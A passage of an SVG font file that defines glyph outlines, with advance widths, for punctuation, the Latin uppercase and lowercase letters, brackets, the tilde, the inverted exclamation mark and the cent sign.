<glyph unicode="&#x3e;" d="M174 336q0 35 2 69.5t8 65.5l619 223l-619 211q-6 31 -8 65t-2 68q0 29 2 66t10 78l848 -336q18 -84 19 -160q0 -72 -19 -145l-848 -334q-12 80 -12 129z" />
<glyph unicode="?" horiz-adv-x="1009" d="M88 1405q53 18 98 31.5t88 21.5t86 11.5t93 3.5q246 0 370.5 -112t124.5 -306q0 -96 -37 -166t-89 -118t-107.5 -77.5t-89.5 -44.5v-186q-72 -12 -138 -12q-68 0 -129 12v352q47 8 98.5 23.5t94.5 42t70.5 66.5t27.5 100q0 88 -63.5 134t-167.5 46q-43 0 -77 -3 t-62.5 -10.5t-58.5 -16.5t-62 -21q-29 53 -47.5 110t-22.5 119zM326 150q0 74 12 151q76 12 149 12q74 0 152 -12q12 -78 12 -149q0 -76 -12 -152q-78 -12 -150 -12q-75 0 -151 12q-12 76 -12 150z" />
<glyph unicode="@" horiz-adv-x="2058" d="M88 446q0 182 66.5 368.5t204 337.5t349.5 246t502 95q156 0 294 -42t241.5 -128t164 -216t60.5 -306q0 -127 -42 -251t-117.5 -222.5t-183 -160t-238.5 -63.5q-150 0 -228 78q-61 -31 -128.5 -54.5t-170.5 -23.5q-66 0 -123 19.5t-100 61.5t-68.5 105.5t-25.5 151.5 q0 139 46 255t126 200t185.5 131t225.5 47q92 0 181.5 -13t167.5 -42l-131 -694q20 -16 67 -17q76 0 135.5 45t99.5 117t60.5 159t20.5 171q0 236 -143.5 360.5t-403.5 124.5q-201 0 -357.5 -68.5t-264 -184t-164 -266.5t-56.5 -312q0 -147 44 -252t120 -171.5t177 -97 t216 -30.5q106 0 196.5 13t163.5 42q18 -45 35 -93t29 -95q-37 -18 -88 -34t-110.5 -25t-126 -14t-132.5 -5q-158 0 -299 45t-247.5 138t-168 234.5t-61.5 335.5zM817 489q0 -92 40 -133t106 -41q41 0 70.5 6.5t64.5 16.5l88 508q-23 6 -42.5 8t-41.5 2q-68 0 -120 -30.5 t-89 -81t-56.5 -117t-19.5 -138.5z" />
<glyph unicode="A" horiz-adv-x="1302" d="M20 0l465 1473q43 6 82 9t86 3q41 0 80 -3t86 -9l461 -1473q-84 -12 -164 -12q-78 0 -151 12l-82 295h-488l-84 -295q-74 -12 -141 -12q-76 0 -150 12zM465 543h348l-170 618z" />
<glyph unicode="B" horiz-adv-x="1239" d="M147 0v1475q66 10 152 16t215 6q113 0 213 -18.5t175 -62.5t118 -117.5t43 -184.5q0 -66 -19.5 -122t-52.5 -98t-73.5 -69.5t-83.5 -33.5q47 -6 104 -29t106.5 -67t82 -113.5t32.5 -167.5q0 -133 -50 -218t-135 -134.5t-196.5 -68t-234.5 -18.5q-94 0 -186.5 5.5 t-209.5 19.5zM444 225q29 -4 67 -6t69 -2q43 0 90 8t88 32t67.5 66t26.5 109q0 63 -20.5 105.5t-58.5 68t-90 35.5t-116 10h-123v-426zM444 877h91q51 0 95 9t76.5 32.5t51 63.5t18.5 101q0 59 -21.5 97.5t-55 60t-75.5 28.5t-83 7q-57 0 -97 -6v-393z" />
<glyph unicode="C" horiz-adv-x="1265" d="M106 733q0 164 47.5 304.5t136.5 242.5t219 159.5t296 57.5q98 0 181 -12t179 -51q-4 -61 -24.5 -120t-44.5 -118q-72 25 -127.5 35t-130.5 10q-197 0 -302.5 -128t-105.5 -380q0 -500 424 -500q76 0 133 10.5t129 35.5q27 -57 44.5 -118t25.5 -122 q-106 -39 -191.5 -51.5t-183.5 -12.5q-174 0 -305 56.5t-220 158t-134.5 240.5t-45.5 303z" />
<glyph unicode="D" horiz-adv-x="1433" d="M150 0v1473q86 10 180 17t209 7q387 0 588.5 -192.5t201.5 -577.5q0 -387 -204.5 -569.5t-608.5 -182.5q-104 0 -192 7.5t-174 17.5zM451 238q18 -2 46.5 -4.5t69.5 -2.5q94 0 175 21.5t140.5 79t94.5 154t35 247.5q0 147 -35 245.5t-94.5 156t-136 81t-162.5 23.5 q-29 0 -67 -1t-66 -5v-995z" />
<glyph unicode="E" horiz-adv-x="1087" d="M143 0v1473h836q12 -61 12 -125q0 -68 -12 -129h-537v-320h426q12 -66 13 -127q0 -66 -13 -129h-426v-389h551q12 -61 13 -125q0 -68 -13 -129h-850z" />
<glyph unicode="F" horiz-adv-x="1038" d="M143 0v1473h836q12 -61 12 -125q0 -68 -12 -129h-537v-347h426q12 -66 13 -127q0 -66 -13 -129h-426v-616q-78 -12 -147 -12q-76 0 -152 12z" />
<glyph unicode="G" horiz-adv-x="1368" d="M104 733q0 164 47.5 304.5t136.5 242.5t219 159.5t296 57.5q98 0 183 -12t177 -51q-4 -61 -24.5 -120t-44.5 -118q-72 25 -127.5 35t-130.5 10q-197 0 -302.5 -128t-105.5 -380t104.5 -376t307.5 -124q35 0 62.5 4.5t49.5 8.5v518q76 12 148 12t149 -12v-723 q-106 -39 -222 -52.5t-202 -13.5q-180 0 -315 56.5t-225 158t-135.5 240.5t-45.5 303z" />
<glyph unicode="H" horiz-adv-x="1382" d="M143 0v1473q76 12 150 12t151 -12v-578h494v578q76 12 149 12q74 0 152 -12v-1473q-78 -12 -149 -12q-76 0 -152 12v637h-494v-637q-78 -12 -149 -12q-76 0 -152 12z" />
<glyph unicode="I" horiz-adv-x="587" d="M143 0v1473q76 12 150 12t151 -12v-1473q-78 -12 -149 -12q-76 0 -152 12z" />
<glyph unicode="J" horiz-adv-x="841" d="M51 59q0 94 35 189q23 -4 49.5 -10.5t54.5 -6.5q35 0 74 4.5t71 25t53.5 60t21.5 113.5v785h-244q-6 29 -9 62.5t-3 66.5q0 66 12 125h543v-1082q0 -113 -36 -191.5t-98.5 -129t-147.5 -73t-185 -22.5q-35 0 -87.5 6.5t-99.5 18.5q-2 14 -3 28.5t-1 30.5z" />
<glyph unicode="K" horiz-adv-x="1267" d="M143 -2v1477q39 6 76 8t76 2q35 0 71.5 -2t75.5 -8v-1477q-39 -6 -75.5 -8t-73.5 -2t-74 2t-76 8zM485 741l400 732q47 8 87 10t72 2q35 0 78 -4t90 -8l-403 -711l438 -762q-47 -4 -91 -8t-79 -4q-33 0 -72.5 2t-89.5 10z" />
<glyph unicode="L" horiz-adv-x="1009" d="M143 0v1473q76 12 146 12q72 0 149 -12v-1215h510q6 -35 8 -66.5t2 -60.5q0 -33 -2 -64.5t-8 -66.5h-805z" />
<glyph unicode="M" horiz-adv-x="1673" d="M127 0l57 1473q82 12 158 12q80 0 158 -12l338 -844l348 844q63 12 141 12t150 -12l69 -1473q-78 -12 -147 -12q-70 0 -137 12l-37 999l-299 -692q-29 -4 -59.5 -7t-61.5 -3q-27 0 -53.5 2t-55.5 8l-278 707l-29 -1014q-66 -12 -127 -12q-66 0 -135 12z" />
<glyph unicode="N" horiz-adv-x="1368" d="M143 0v1473q63 12 121 12q61 0 127 -12l570 -938v938q74 12 141 12q63 0 123 -12v-1473q-66 -12 -119 -12q-57 0 -125 12l-573 936v-936q-66 -12 -134 -12t-131 12z" />
<glyph unicode="O" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q166 0 287 -57.5t199 -159.5t115.5 -242.5t37.5 -304.5t-37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5t-286.5 57.5t-198.5 159t-116 239.5t-38 302zM743 225q317 0 318 508q0 254 -77 381t-239 127 q-321 0 -321 -505q0 -511 319 -511z" />
<glyph unicode="P" horiz-adv-x="1193" d="M143 0v1479q94 8 190.5 13t194.5 5q102 0 208 -20.5t191 -77t138 -156.5t53 -260t-53 -259t-137 -156.5t-187.5 -78t-203.5 -20.5q-27 0 -50.5 1t-44.5 3v-473q-39 -6 -75.5 -8t-71.5 -2q-33 0 -72 2t-80 8zM442 721q25 -4 46.5 -4h52.5q51 0 100 13t87 44t60.5 81 t22.5 124q0 76 -22.5 128t-60.5 84t-87 45t-100 13q-23 0 -42.5 -1t-56.5 -5v-522z" />
<glyph unicode="Q" horiz-adv-x="1486" d="M104 733q0 164 38 304.5t116 242.5t199 159.5t286 57.5q166 0 287 -57.5t199 -159.5t115.5 -242.5t37.5 -304.5t-37.5 -302t-115.5 -239.5t-199 -159t-287 -57.5t-286.5 57.5t-198.5 159t-116 239.5t-38 302zM743 225q317 0 318 508q0 254 -77 381t-239 127 q-321 0 -321 -505q0 -511 319 -511zM864 -272q6 43 10.5 72.5t10.5 55t14 51t19 56.5l501 -78q-4 -59 -14 -121.5t-33 -117.5z" />
<glyph unicode="R" horiz-adv-x="1251" d="M158 0v1473q90 10 169 17t175 7q113 0 222.5 -20.5t197.5 -72.5t142 -141t54 -227q0 -82 -20.5 -144.5t-52 -109.5t-68.5 -80.5t-70 -54.5l-35 -22l359 -623q-41 -4 -86 -8t-92 -4q-78 0 -154 12l-385 684l49 25q29 14 70 36.5t79 56.5t64.5 82t26.5 113q0 129 -74 189.5 t-190 60.5q-45 0 -82 -6v-1243q-37 -4 -74 -7t-72 -3t-73.5 2t-79.5 8z" />
<glyph unicode="S" horiz-adv-x="1126" d="M72 51q6 59 22.5 124t38.5 130q86 -35 162 -52t162 -17q129 0 202.5 48t73.5 146q0 49 -17.5 82t-45 55.5t-62.5 38t-71 29.5l-125 47q-70 27 -125.5 58.5t-94 75.5t-60 105.5t-21.5 147.5q0 104 35.5 184t101 134.5t158 82t206.5 27.5q104 0 195.5 -18.5t191.5 -53.5 q-12 -119 -65 -233q-31 12 -62.5 24.5t-67.5 20.5t-81 13t-102 5q-35 0 -71 -6t-64.5 -22.5t-47 -48t-18.5 -82.5q0 -41 14.5 -69t39 -47t55 -32.5t61.5 -25.5l123 -48q78 -31 141.5 -63.5t107.5 -80.5t68.5 -116.5t24.5 -169.5q0 -104 -38 -190t-109.5 -147.5t-177 -96.5 t-243.5 -35q-68 0 -121 4.5t-101 13.5t-95 23.5t-98 34.5z" />
<glyph unicode="T" horiz-adv-x="1161" d="M51 1348q0 63 12 125h1035q12 -61 12 -125q0 -68 -12 -129h-367v-1219q-37 -4 -73.5 -7t-71.5 -3t-75 2t-81 8v1219h-367q-12 61 -12 129z" />
<glyph unicode="U" horiz-adv-x="1374" d="M135 645v828q39 6 76 8t76 2q35 0 71.5 -2t75.5 -8v-764q0 -125 9.5 -214t37 -147.5t77.5 -86.5t130 -28t129 28t77 86.5t37 147.5t9 214v764q41 6 78 8t72 2q37 0 74.5 -2t76.5 -8v-828q0 -150 -24.5 -273.5t-88 -211.5t-170 -136.5t-270.5 -48.5t-270.5 48.5 t-170 136.5t-88 212t-24.5 273z" />
<glyph unicode="V" horiz-adv-x="1320" d="M20 1473q35 4 80 8t80 4q78 0 164 -12l322 -1162l325 1162q41 6 79 8t77 2q37 0 75 -2t78 -8l-475 -1473q-43 -6 -83 -9t-85 -3q-41 0 -79.5 3t-85.5 9z" />
<glyph unicode="W" horiz-adv-x="1886" d="M33 1473q74 12 168 12q37 0 74.5 -2t74.5 -10l211 -1108l254 1108q41 6 76 9t72 3q61 0 133 -12l264 -1137l211 1137q63 12 131 12q41 0 80 -4t76 -8l-355 -1473q-74 -12 -153 -12q-78 0 -170 12l-236 981l-254 -981q-49 -4 -87 -8t-83 -4q-63 0 -137 12z" />
<glyph unicode="X" horiz-adv-x="1296" d="M37 0l323 770l-264 700q41 6 81 8.5t79 2.5q74 0 154 -13l233 -704l-293 -762q-51 -8 -87 -11t-70 -3q-37 0 -73 3t-83 9zM657 764l230 704q80 12 153 13q39 0 79 -2t81 -9l-260 -700l320 -770q-47 -6 -83 -9t-73 -3q-35 0 -71 3t-87 11z" />
<glyph unicode="Y" horiz-adv-x="1259" d="M20 1473q86 12 173 12q78 0 155 -12l291 -668l287 668q76 12 155 12q74 0 158 -12l-459 -947v-528q-41 -6 -77.5 -8t-73.5 -2q-35 0 -73 2t-77 8v528z" />
<glyph unicode="Z" horiz-adv-x="1187" d="M78 20l618 1199h-565q-12 61 -12 124q0 68 12 130h987l17 -25l-613 -1194h582q12 -61 12 -125q0 -68 -12 -129h-1012z" />
<glyph unicode="[" horiz-adv-x="704" d="M102 -344v1933h488q6 -31 9 -57.5t3 -56.5q0 -57 -12 -119h-205v-1467h205q12 -61 12 -118q0 -31 -3 -57.5t-9 -57.5h-488z" />
<glyph unicode="\" horiz-adv-x="847" d="M31 1473q74 12 143 12q70 0 148 -12l497 -1473q-74 -12 -143 -12q-72 0 -146 12z" />
<glyph unicode="]" horiz-adv-x="704" d="M102 -229q0 57 13 118h204v1467h-204q-12 61 -13 119q0 31 3.5 57.5t9.5 56.5h487v-1933h-487q-6 31 -9.5 57.5t-3.5 57.5z" />
<glyph unicode="^" horiz-adv-x="1124" d="M102 743l324 730q68 12 137 12q66 0 139 -12l320 -730q-41 -10 -76 -12t-61 -2q-35 0 -68 2t-61 10l-201 467l-186 -467q-31 -6 -65 -9t-64 -3q-27 0 -60 2t-78 12z" />
<glyph unicode="_" horiz-adv-x="1032" d="M4 -100q0 23 2 45t8 51h1004q6 -29 8 -53.5t2 -51.5q0 -23 -2 -45t-8 -51h-1004q-6 29 -8 53.5t-2 51.5z" />
<glyph unicode="`" horiz-adv-x="1024" d="M221 1473q41 6 79 9t91 3q100 0 184 -12l230 -252q-68 -12 -133 -13q-41 0 -78 4.5t-64 8.5z" />
<glyph unicode="a" horiz-adv-x="1069" d="M78 332q0 98 42 164.5t108.5 106.5t148.5 57.5t164 17.5q59 0 131 -6v24q0 49 -16.5 80t-45 48.5t-70.5 23.5t-94 6q-111 0 -235 -43q-29 53 -43 100t-14 113q90 31 180 45t168 14q213 0 332.5 -102t119.5 -328v-614q-72 -23 -174 -43.5t-231 -20.5q-104 0 -191.5 18.5 t-150 61.5t-96 110.5t-33.5 166.5zM350 344q0 -53 22.5 -82t54.5 -42t67.5 -16t62.5 -3q31 0 61.5 5t53.5 9v270q-25 4 -53.5 7.5t-51.5 3.5q-100 0 -158.5 -36t-58.5 -116z" />
<glyph unicode="b" horiz-adv-x="1208" d="M139 35v1462q74 12 144 12q72 0 145 -12v-541q31 55 102.5 91t163.5 36t171 -32.5t136.5 -99t90 -167t32.5 -237.5q0 -133 -41 -238.5t-118.5 -179.5t-190 -114t-254.5 -40q-45 0 -95 4.5t-101.5 11.5t-98.5 18t-86 26zM428 229q25 -8 52.5 -10t56.5 -2q133 0 208.5 78 t75.5 244q0 147 -47 224t-160 77q-82 0 -134 -54.5t-52 -171.5v-385z" />
<glyph unicode="c" horiz-adv-x="972" d="M84 528q0 117 31.5 217.5t96 176t161 118.5t223.5 43q45 0 83 -2t72.5 -8t69.5 -16t78 -27q0 -47 -12.5 -105.5t-38.5 -111.5q-61 20 -107.5 27.5t-105.5 7.5q-127 0 -191.5 -83t-64.5 -237q0 -166 69.5 -241.5t188.5 -75.5q31 0 56.5 1t50 5t50 12.5t60.5 20.5 q25 -41 41 -95.5t16 -127.5q-82 -33 -153.5 -42.5t-149.5 -9.5q-133 0 -231 42t-162.5 116t-97.5 175.5t-33 219.5z" />
<glyph unicode="d" horiz-adv-x="1204" d="M84 516q0 117 38 220.5t108.5 179t171 119.5t223.5 44q37 0 76.5 -3t76.5 -13v434q37 6 73 8t71 2t71.5 -2t73.5 -8v-1462q-96 -29 -195.5 -44.5t-240.5 -15.5q-109 0 -208 30t-175 94.5t-120 167t-44 249.5zM383 516q0 -84 20.5 -142.5t56.5 -93t85 -50t106 -15.5 q35 0 63.5 3t63.5 13v609q-41 10 -66.5 13t-64.5 3q-68 0 -118 -27.5t-82.5 -73.5t-48 -108.5t-15.5 -130.5z" />
<glyph unicode="e" horiz-adv-x="1150" d="M88 522q0 117 33 219.5t97.5 178t159.5 119.5t222 44q111 0 197 -38.5t146.5 -106.5t91 -161t30.5 -199q0 -39 -3 -77t-7 -61h-680q8 -123 86 -178t205 -55q70 0 142.5 13t137.5 38q23 -41 39 -98.5t19 -122.5q-160 -61 -361 -62q-147 0 -252.5 41t-172 114t-98.5 173 t-32 219zM377 643h414q-4 98 -54.5 158.5t-140.5 60.5q-102 0 -155.5 -57t-63.5 -162z" />
<glyph unicode="f" horiz-adv-x="811" d="M35 952q0 27 2 51.5t8 55.5h168v51q0 98 29.5 175t85 129t132.5 80t169 28q61 0 103 -5.5t91 -19.5q-4 -68 -13 -122t-30 -107q-23 4 -47 9t-65 5q-72 0 -117 -34t-49 -144v-45h246q6 -33 8 -59.5t2 -55.5q0 -27 -2 -51.5t-8 -54.5h-246v-838q-74 -12 -144 -12 q-72 0 -145 12v838h-168q-6 33 -8 59.5t-2 54.5z" />
<glyph unicode="g" horiz-adv-x="1159" d="M68 -238q0 92 44 151.5t117 104.5q-47 29 -74.5 71t-27.5 108q0 78 33 127t96 94q-72 51 -111 124.5t-39 164.5q0 80 31 148.5t89.5 118.5t142.5 78.5t188 28.5q102 0 188 -31.5t144 -80.5q39 51 96 76.5t156 25.5q4 -27 7 -52.5t3 -53.5q0 -33 -2 -66t-8 -68h-166 q10 -20 18 -48.5t8 -75.5q0 -80 -29.5 -149t-87 -118t-140 -77.5t-187.5 -28.5q-88 0 -158 18q-35 -23 -43 -48t-8 -48q0 -33 21.5 -53.5t87.5 -22.5l280 -4q186 -4 274.5 -83t88.5 -224q0 -86 -45 -156.5t-123 -120t-184.5 -76t-229.5 -26.5t-209 19.5t-140 54.5t-77.5 86 t-23.5 112zM322 -168q0 -78 58 -105.5t157 -27.5q129 0 207.5 41t78.5 110q0 20 -5 39t-19.5 34.5t-40 25.5t-68.5 10l-215 4h-13q-36 0 -62 -10q-29 -12 -46.5 -31.5t-24.5 -43t-7 -46.5zM393 707q0 -86 39 -135.5t127 -49.5q86 0 124 49.5t38 135.5t-38 136t-124 50 q-88 0 -127 -50t-39 -136z" />
<glyph unicode="h" horiz-adv-x="1200" d="M139 -2v1499q35 6 72 8t72 2t71.5 -2t73.5 -8v-563q14 18 37.5 44t58.5 49.5t84 39.5t113 16q176 0 267 -98t91 -309v-678q-37 -6 -73.5 -8t-71.5 -2t-72 2t-74 8v600q0 111 -34.5 170t-118.5 59q-35 0 -72 -10t-66.5 -39.5t-49 -83t-19.5 -139.5v-557q-37 -6 -74 -8 t-71 -2q-35 0 -71 2t-73 8z" />
<glyph unicode="i" horiz-adv-x="628" d="M51 950q0 55 12 109h422v-1059q-74 -12 -143 -12q-68 0 -141 12v838h-138q-6 27 -9 56.5t-3 55.5zM145 1374q0 66 13 137q35 6 74.5 9.5t72.5 3.5q35 0 76 -3t76 -10q6 -35 8 -68.5t2 -68.5q0 -33 -2 -67.5t-8 -69.5q-35 -6 -75 -8t-75 -2q-33 0 -73.5 2t-75.5 8 q-12 70 -13 137z" />
<glyph unicode="j" horiz-adv-x="628" d="M-100 -371q0 59 8 111.5t29 99.5q20 -4 48.5 -8t57.5 -4q33 0 62.5 8t51 29.5t34 60.5t12.5 103v809h-140q-6 27 -9 56.5t-3 55.5q0 55 12 109h422v-1082q0 -197 -98 -283.5t-285 -86.5q-51 0 -104 6t-98 16zM145 1374q0 33 2.5 61.5t10.5 69.5q39 10 78.5 14.5t70.5 4.5 q29 0 70 -4t78 -15q8 -41 10 -69.5t2 -61.5q0 -31 -2 -59.5t-10 -71.5q-37 -10 -78 -13t-70 -3q-31 0 -70.5 3t-78.5 13q-8 43 -10.5 71.5t-2.5 59.5z" />
<glyph unicode="k" horiz-adv-x="1095" d="M125 0v1497q70 12 143 12q74 0 146 -12v-1497q-72 -12 -146 -12t-143 12zM455 555l262 504q80 12 162 12q78 0 151 -12l-270 -490l315 -569q-84 -12 -162 -12q-72 0 -151 12z" />
<glyph unicode="l" horiz-adv-x="663" d="M135 358v1139q74 12 146 12q70 0 143 -12v-1075q0 -63 7 -102t22.5 -60.5t40 -30t61.5 -8.5q16 0 35.5 2t38.5 6q22 -80 22 -156v-7v-29.5t-4 -30.5q-33 -10 -79 -14t-85 -4q-158 0 -253 87t-95 283z" />
<glyph unicode="m" horiz-adv-x="1800" d="M143 0v1059q29 6 57.5 9t63.5 3t61.5 -3t55.5 -9q6 -10 11 -29.5t9.5 -41t7.5 -42t5 -35.5q16 31 42.5 62t63.5 55.5t83 39.5t104 15q248 0 317 -188q41 76 115.5 132t189.5 56q180 0 265 -99t85 -310v-674q-74 -12 -145 -12q-72 0 -145 12v598q0 111 -28 170t-112 59 q-35 0 -68.5 -10t-61 -37.5t-45 -78t-17.5 -130.5v-571q-74 -12 -146 -12t-145 12v598q0 111 -27.5 170t-111.5 59q-35 0 -70 -10t-62.5 -39.5t-44 -83t-16.5 -139.5v-555q-74 -12 -145 -12q-72 0 -146 12z" />
<glyph unicode="n" horiz-adv-x="1202" d="M143 0v1059q29 6 57.5 9t63.5 3t61.5 -3t55.5 -9q6 -10 11 -29.5t9.5 -41t7.5 -42t5 -35.5q20 31 49 62t66.5 55.5t85 39.5t104.5 15q180 0 271 -98t91 -309v-676q-74 -12 -145 -12q-72 0 -145 12v598q0 111 -34 170t-118 59q-35 0 -72 -10t-66.5 -39.5t-48 -83 t-18.5 -139.5v-555q-74 -12 -145 -12q-72 0 -146 12z" />
<glyph unicode="o" horiz-adv-x="1187" d="M84 526q0 117 31.5 219.5t94 177t158 117.5t224.5 43t225 -43t159.5 -117.5t94.5 -177t31 -219.5t-31 -217t-94.5 -175t-159.5 -117t-225 -42t-224.5 42t-158 117t-94 175.5t-31.5 216.5zM379 526q0 -160 50 -244.5t163 -84.5q115 0 165 85t50 244q0 160 -50 245t-165 85 q-113 0 -163 -85t-50 -245z" />
<glyph unicode="p" horiz-adv-x="1210" d="M137 -485v1546q29 6 56.5 8t62.5 2q57 0 117 -12q6 -10 11 -29.5t10 -42t8.5 -44t5.5 -36.5q18 33 44.5 65t64.5 56.5t85 39.5t105 15q88 0 164.5 -32.5t134 -99t89 -167t31.5 -237.5q0 -133 -38.5 -238.5t-112.5 -179.5t-180.5 -114t-241.5 -40q-35 0 -68.5 3.5 t-56.5 7.5v-471q-39 -6 -75 -8.5t-70 -2.5q-35 0 -71 2t-75 9zM428 225q55 -16 127 -16q127 0 194.5 82t67.5 248q0 63 -10 117.5t-34.5 93t-62.5 61.5t-94 23q-51 0 -86.5 -19.5t-58 -53.5t-33 -79t-10.5 -96v-361z" />
<glyph unicode="q" horiz-adv-x="1202" d="M84 508q0 117 40 222.5t115.5 183t186.5 123.5t252 46q115 0 206 -13t181 -34v-1521q-37 -6 -73 -8.5t-70 -2.5q-35 0 -72 2t-74 9l-2 477q-35 -4 -71.5 -8t-84.5 -4q-104 0 -200 27.5t-171 90t-119 162.5t-44 248zM387 508q0 -84 19.5 -140.5t53.5 -90t82 -48t105 -14.5 q35 0 63.5 3t63.5 13v603q-47 8 -63.5 10t-42.5 2q-139 0 -210 -94.5t-71 -243.5z" />
<glyph unicode="r" horiz-adv-x="823" d="M143 -2v1061q31 6 58.5 9t60.5 3q31 0 60.5 -4t58.5 -10q6 -10 11 -29.5t9.5 -41t7.5 -43t5 -36.5q45 63 110.5 113.5t163.5 50.5q20 0 47 -2t39 -6q4 -20 6 -47t2 -55q0 -35 -3 -76t-11 -78q-23 4 -50.5 4h-33.5q-35 0 -78 -7t-82 -38t-64.5 -92.5t-25.5 -171.5v-504 q-37 -6 -73.5 -8t-71.5 -2t-71 2t-75 8z" />
<glyph unicode="s" horiz-adv-x="942" d="M82 33q4 55 19.5 111.5t39.5 109.5q68 -27 128.5 -40t125.5 -13q29 0 63 5t62.5 18.5t48 35t19.5 55.5q0 49 -30 71t-83 38l-127 37q-115 33 -179.5 97.5t-64.5 193.5q0 156 112 243.5t304 87.5q80 0 158 -14t158 -43q-4 -53 -20.5 -110.5t-39.5 -100.5 q-49 20 -108.5 35.5t-124.5 15.5q-70 0 -109 -21.5t-39 -68.5q0 -45 28 -63.5t79 -34.5l116 -35q57 -16 103.5 -39.5t79.5 -58.5t51 -86t18 -125q0 -76 -31.5 -141.5t-92 -113.5t-146.5 -76t-194 -28q-49 0 -90.5 3.5t-79 10.5t-74.5 17t-80 27z" />
<glyph unicode="t" horiz-adv-x="784" d="M29 879l383 489h47v-309h248q6 -31 8 -55.5t2 -51.5q0 -29 -2 -55.5t-8 -58.5h-248v-416q0 -63 10 -102t29.5 -61.5t48 -31t67.5 -8.5q31 0 61 5t52 9q14 -39 20.5 -80.5t6.5 -74.5q0 -23 -1 -38t-3 -30q-90 -22 -187 -22h-8q-186 0 -284.5 87t-98.5 283v480h-133z" />
<glyph unicode="u" horiz-adv-x="1171" d="M125 489v570q74 12 145 12q72 0 146 -12v-561q0 -84 13 -138.5t41 -86t69 -45t96 -13.5q76 0 127 14v830q74 12 143 12q72 0 146 -12v-1018q-66 -23 -173.5 -44.5t-224.5 -21.5q-104 0 -200.5 16.5t-169 70t-115.5 155.5t-43 272z" />
<glyph unicode="v" horiz-adv-x="1114" d="M10 1057q49 10 91 12t73 2q41 0 82 -2t76 -10l231 -789l228 789q35 6 73.5 9t77.5 3q31 0 71 -2t91 -12l-402 -1057q-39 -6 -81.5 -8t-71.5 -2q-31 0 -70 2t-73 10z" />
<glyph unicode="w" horiz-adv-x="1650" d="M14 1057q47 10 89 12t71 2q41 0 80 -2t74 -10l170 -783l196 783q63 12 140 12q53 -2 87.5 -4t61.5 -8l193 -768l167 768q35 6 66 9t70 3q29 0 68.5 -2t88.5 -12l-329 -1057q-37 -6 -79 -8t-71 -2q-31 0 -68.5 2t-72.5 10l-193 700l-198 -702q-39 -6 -81 -8t-71 -2 t-66.5 2t-72.5 10z" />
<glyph unicode="x" horiz-adv-x="1093" d="M31 0l241 547l-202 512q68 12 149 12q78 0 158 -12l162 -518l-211 -541q-74 -12 -146 -12t-151 12zM553 541l164 518q76 12 157 12q76 0 150 -12l-205 -512l244 -547q-80 -12 -152 -12t-145 12z" />
<glyph unicode="y" horiz-adv-x="1110" d="M20 1059q47 10 83 11t67 1q41 0 84 -2t78 -10l221 -924l250 924q68 12 139 12q31 0 65.5 -1t86.5 -11l-396 -1309q-25 -78 -58.5 -129t-76.5 -79.5t-96 -40t-115 -11.5q-57 0 -103 7t-91 20q-2 10 -2 17v15q0 49 11 93.5t28 85.5q18 -6 48.5 -11.5t61.5 -5.5q25 0 49.5 3 t48 18.5t44 48.5t36.5 92l35 127q-23 -2 -50.5 -3t-55.5 -1h-43.5t-36.5 4z" />
<glyph unicode="z" horiz-adv-x="1009" d="M55 25l477 811h-405q-6 31 -8 59.5t-2 56.5q0 27 2 52.5t8 54.5h834l10 -25l-486 -811h451q6 -31 8 -59.5t2 -57.5q0 -27 -2 -52t-8 -54h-864z" />
<glyph unicode="{" horiz-adv-x="894" d="M102 612v54q55 25 91 54.5t58.5 66t32 86t11.5 114.5l6 187q2 106 21.5 188t65.5 138t125 85t200 29h32.5t34.5 -2q12 -59 13 -113q0 -55 -13 -113h-35q-59 0 -93 -15t-50 -47t-21.5 -82t-5.5 -120q0 -123 -9 -205.5t-29.5 -137t-53 -87.5t-80.5 -53q47 -23 80 -54.5 t53.5 -86t29.5 -137t9 -207.5q0 -70 5.5 -120t21.5 -82t50 -47.5t93 -15.5h35q12 -59 13 -112q0 -55 -13 -113q-18 -2 -34.5 -2h-32.5q-121 0 -200 28.5t-125 85t-65.5 138.5t-21.5 188l-6 189q-2 66 -11.5 115t-32 85.5t-58 66.5t-91.5 54z" />
<glyph unicode="|" horiz-adv-x="698" d="M209 -344v1933q70 12 139 13q70 0 141 -13v-1933q-72 -12 -139 -12q-72 0 -141 12z" />
<glyph unicode="}" horiz-adv-x="894" d="M102 -223q0 53 13 112h35q57 0 91.5 15.5t51 47.5t21.5 82t5 120q0 125 9.5 207.5t30 137t53 86t80.5 54.5q-47 20 -80 53t-53.5 87.5t-30 137t-9.5 205.5q0 70 -5 120t-21.5 82t-51 47t-91.5 15h-35q-12 57 -13 113q0 53 13 113q18 2 34.5 2h32.5q121 0 200 -29t125 -85 t64.5 -138t22.5 -188l6 -187q2 -66 11.5 -115t32 -85.5t58 -66.5t91.5 -54v-54q-55 -25 -91 -54.5t-58.5 -66t-32 -86t-11.5 -114.5l-6 -189q-4 -106 -22.5 -188t-64.5 -138.5t-125 -85t-200 -28.5h-32.5t-34.5 2q-12 57 -13 113z" />
<glyph unicode="~" horiz-adv-x="974" d="M25 866q41 49 112.5 85t167.5 36q47 0 91 -13t88 -28.5t89 -28t95 -12.5q45 0 82.5 13.5t91.5 60.5q41 -41 67.5 -89t42.5 -97q-41 -49 -113.5 -83t-168.5 -34q-47 0 -93.5 12t-91.5 27.5t-89 29t-89 13.5q-49 0 -85 -12.5t-89 -59.5q-37 41 -66.5 86t-41.5 94z" />
<glyph unicode="&#xa1;" horiz-adv-x="612" d="M143 907q0 74 13 152q76 12 149 12q74 0 152 -12q12 -78 12 -150q0 -76 -12 -151q-78 -12 -150 -13q-75 1 -151 13q-12 76 -13 149zM147 -414l21 1002q70 12 137 12q68 0 139 -12l21 -1002q-80 -12 -158 -12q-80 0 -160 12z" />
<glyph unicode="&#xa2;" d="M215 528q0 106 27.5 200.5t81 167.5t134.5 121t189 60v223q43 12 88 13q43 0 90 -13v-221q51 -4 98.5 -15t106.5 -34q0 -63 -13 -115.5t-38 -101.5q-61 20 -107.5 27.5t-105.5 7.5q-127 0 -191.5 -83t-64.5 -237q0 -166 69.5 -241.5t188.5 -75.5q31 0 56.5 1t50 5 t50 12.5t60.5 20.5q25 -41 41 -95.5t16 -127.5q-59 -23 -111 -34t-106 -16v-219q-43 -12 -88 -12t-90 12v224q-109 14 -190.5 60t-135 118.5t-80 166t-26.5 201.5z" />
